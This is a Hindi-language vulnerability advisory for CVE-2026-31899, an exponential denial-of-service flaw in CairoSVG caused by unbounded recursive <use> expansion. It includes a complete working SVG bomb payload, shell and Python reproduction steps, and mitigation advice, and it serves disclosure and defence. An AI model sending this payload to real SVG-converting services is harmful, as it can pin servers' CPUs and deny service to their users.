CVE-2026-31899: CairoSVG में रिकर्सिव `<use>` एलिमेंट एम्प्लीफिकेशन के माध्यम से एक्सपोनेंशियल DoS

कीवर्ड्स: CVE-2026-31899, CairoSVG, एक्सपोनेंशियल DoS, SVG बम, रिकर्सिव use एलिमेंट, डिनायल ऑफ सर्विस, XML एम्प्लीफिकेशन, Python SVG भेद्यता, CWE-400, अनियंत्रित संसाधन खपत, बिलियन लाफ्स SVG

विषय-सूची

अवलोकन
भेद्यता विवरण
तकनीकी विश्लेषण
प्रूफ ऑफ कॉन्सेप्ट
प्रभाव
निवारण
CVSS मेट्रिक्स
संदर्भ
संपर्क

अवलोकन

CairoSVG एक्सपोनेंशियल डिनायल ऑफ सर्विस (CVE-2026-31899) — 1,411-बाइट का SVG पेलोड रिकर्सिव <use> एलिमेंट एम्प्लीफिकेशन के माध्यम से CPU को अनिश्चित काल के लिए 100% पर पिन कर देता है।

CairoSVG (~300K डाउनलोड/सप्ताह) एक व्यापक रूप से उपयोग किया जाने वाला Python SVG-से-PNG/PDF कनवर्टर है। cairosvg/defs.py में use() फ़ंक्शन बिना किसी डेप्थ या काउंट सीमा के <use> एलिमेंट्स को रिकर्सिव रूप से प्रोसेस करता है। नेस्टिंग के 5 स्तरों और प्रत्येक में 10 संदर्भों के साथ, एक छोटा SVG 10^5 = 100,000 रेंडर कॉल को ट्रिगर करता है — जो SVG "बिलियन लाफ्स" का एक रूप है।

खोजकर्ता: Kai Aizen — SnailSploit प्रकाशित: 13 मार्च, 2026 CVSS स्कोर: 7.5 (High) CWE: CWE-400 — अनियंत्रित संसाधन खपत पैकेज: CairoSVG (PyPI) हमले का प्रकार: एक्सपोनेंशियल डिनायल ऑफ सर्विस आवश्यक विशेषाधिकार: कोई नहीं (बिना प्रमाणीकरण)

भेद्यता विवरण

विवरण

cairosvg/defs.py में use() फ़ंक्शन (लगभग पंक्ति ~335) उन <use> एलिमेंट्स को रिकर्सिव रूप से रिज़ॉल्व करता है जो अन्य <use> एलिमेंट्स को संदर्भित करते हैं। कोई रिकर्सन डेप्थ सीमा और न ही कोई कुल एलिमेंट बजट है। एक हमलावर एक छोटा SVG तैयार कर सकता है जिसमें प्रत्येक परत पिछली परत को N बार संदर्भित करती है, जिससे O(depth) इनपुट से O(N^depth) रेंडरिंग कॉल उत्पन्न होती हैं।

मुख्य विशेषताएँ

एम्प्लीफिकेशन फैक्टर: O(N) इनपुट पंक्तियों से O(10^N) रेंडरिंग कॉल
मेमोरी प्रोफ़ाइल: लगभग स्थिर ~43MB — कोई OOM किल नहीं, प्रोसेस स्वाभाविक रूप से समाप्त नहीं होता
CPU प्रोफ़ाइल: 100% सिंगल-कोर अनिश्चित काल तक पिन
पेलोड आकार: 1,411 बाइट्स

प्रभावित संस्करण

संवेदनशील: 2.9.0 से पहले के सभी संस्करण
पैच किए गए: संस्करण 2.9.0 और उससे ऊपर

तकनीकी विश्लेषण

भेद्यता निम्न कारणों से मौजूद है:

defs.py में use() फ़ंक्शन प्रत्येक <use> एलिमेंट को उसके xlink:href टार्गेट को देखकर प्रोसेस करता है
यदि टार्गेट स्वयं एक ग्रुप है जिसमें <use> एलिमेंट हैं, तो उन्हें रिकर्सिव रूप से विस्तारित किया जाता है
कोई डेप्थ काउंटर या एलिमेंट बजट लागू नहीं किया जाता
प्रत्येक स्तर कार्य को ब्रांचिंग फैक्टर से गुणा कर देता है (जैसे, प्रति स्तर 10x)

5 स्तरों और 10 के ब्रांचिंग फैक्टर के साथ:

Level 0: 1 element (root <use>)
Level 1: 10 elements
Level 2: 100 elements
Level 3: 1,000 elements
Level 4: 10,000 elements
Level 5: 100,000 render calls

कुल: 1,411-बाइट इनपुट से 111,111 रेंडर कॉल।

प्रूफ ऑफ कॉन्सेप्ट

SVG पेलोड poc.svg)

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <g id="a"><rect width="1" height="1"/></g>
    <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
    <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
    <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
    <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
  </defs>
  <use xlink:href="#e"/>
</svg>

पुनरुत्पादन

विधि 1 — कमांड लाइन:

timeout 10 cairosvg poc.svg -o test.png
# Expected: timeout kills the process after 10 seconds (it never completes)

विधि 2 — Python:

import cairosvg
import signal

signal.alarm(5)  # Kill after 5 seconds
try:
    cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
    print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")

प्रभाव

कोई भी सेवा जो SVG इनपुट स्वीकार करती है और प्रोसेसिंग के लिए CairoSVG का उपयोग करती है, संवेदनशील है:

अटैक सतह	उदाहरण
थंबनेल जनरेशन	SVG अपलोड → सर्वर PNG में कनवर्ट करता है

1.4KB पेलोड वाला एक एकल अनुरोध न्यूनतम मेमोरी खपत करते हुए प्रोसेसिंग थ्रेड को अनिश्चित काल के लिए पिन कर देगा (कोई OOM किल आपको बचाने के लिए नहीं)।

निवारण

तत्काल फिक्स

CairoSVG को संस्करण 2.9.0 या उससे ऊपर अपग्रेड करें:

pip install --upgrade CairoSVG>=2.9.0

सुरक्षा की गहराई (Defense in Depth)

किसी भी SVG कन्वर्ज़न एंडपॉइंट पर प्रोसेसिंग टाइमआउट सेट करें
SVG अपलोड पर इनपुट आकार सीमा लागू करें
SVG प्रोसेसिंग को CPU समय सीमा वाले अलग-थलग वर्कर्स में सैंडबॉक्स करने पर विचार करें

CVSS v3.1 मेट्रिक्स

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

समयरेखा

तिथि	घटना
2026-03-09	CVE आरक्षित
2026-03-13	सलाहकार प्रकाशित (GHSA-f38f-5xpm-9r7c)
2026-03-13	फिक्स के साथ CairoSVG 2.9.0 जारी

संदर्भ

संपर्क

Kai Aizen (SnailSploit)

वेब: snailsploit.com
GitHub: @SnailSploit
LinkedIn: /in/kaiaizen

⚠️ अस्वीकरण: यह रिपॉजिटरी केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए है। प्रूफ ऑफ कॉन्सेप्ट डिफेंडर्स को उनके जोखिम को मान्य करने में मदद करने के लिए प्रदान किया गया है। जिम्मेदारी से उपयोग करें।

📚 दस्तावेज़ीकरण और लेखक

इस प्रोजेक्ट का पूरा विवरण, कार्यप्रणाली और संबंधित शोध यहाँ उपलब्ध है:

https://snailsploit.com/cves

Kai Aizen द्वारा निर्मित — स्वतंत्र आक्रामक सुरक्षा शोधकर्ता।

snailsploit.com · शोध · फ्रेमवर्क · GitHub · LinkedIn · ResearchGate · X/Twitter

वही हमला। अलग सब्सट्रेट।

अटैक वेक्टर	नेटवर्क (AV:N)
अटैक जटिलता	निम्न (AC:L)
आवश्यक विशेषाधिकार	कोई नहीं (PR:N)
उपयोगकर्ता सहभागिता	कोई नहीं (UI:N)
दायरा	अपरिवर्तित (S:U)
गोपनीयता	कोई नहीं (C:N)
अखंडता	कोई नहीं (I:N)
उपलब्धता	उच्च (A:H)

CVE-2026-31899

सबसे लोकप्रिय

CVE-2026-31899: CairoSVG में रिकर्सिव <use> एलिमेंट एम्प्लीफिकेशन के माध्यम से एक्सपोनेंशियल DoS